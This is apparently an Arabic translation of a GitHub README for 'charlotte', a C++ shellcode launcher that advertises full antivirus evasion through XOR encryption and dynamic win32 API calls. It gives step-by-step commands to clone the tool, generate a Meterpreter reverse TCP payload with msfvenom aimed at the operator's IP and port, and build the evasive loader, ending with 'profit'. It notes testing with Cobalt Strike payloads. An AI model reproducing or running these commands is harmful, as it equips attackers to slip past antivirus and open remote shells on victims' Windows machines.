charlotte

مشغل شيل كود غير مكتشف بالكامل بلغة ++C ;)

أصدر هذا للاحتفال بمولودي الجديد

الوصف

13/05/2021:

1. مشغل شيل كود بلغة ++C، غير مكتشف بالكامل 0/26 اعتبارًا من 13 مايو 2021.
2. استدعاء ديناميكي لوظائف API الخاصة بنظام win32
3. تشفير XOR للشيل كود وأسماء الوظائف
4. مفاتيح ومتغيرات XOR عشوائية لكل تشغيل
5. على Kali Linux، ببساطة 'apt-get install mingw-w64*' وهذا كل شيء!

17/05/2021:

6. طول السلاسل العشوائية وطول مفاتيح XOR

antiscan.me

الاستخدام

انسخ المستودع باستخدام git، وقم بإنشاء ملف الشيل كود الخاص بك باسم beacon.bin، ثم قم بتشغيل charlotte.py

مثال:

1. git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
2. cd charlotte
3. msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
4. python charlotte.py
5. الربح

تم الاختبار باستخدام msfvenom -p (كما هو موضح في ملف .gif POC أدناه) وأيضًا تنسيق الحمولة الخام لـ cobalt strike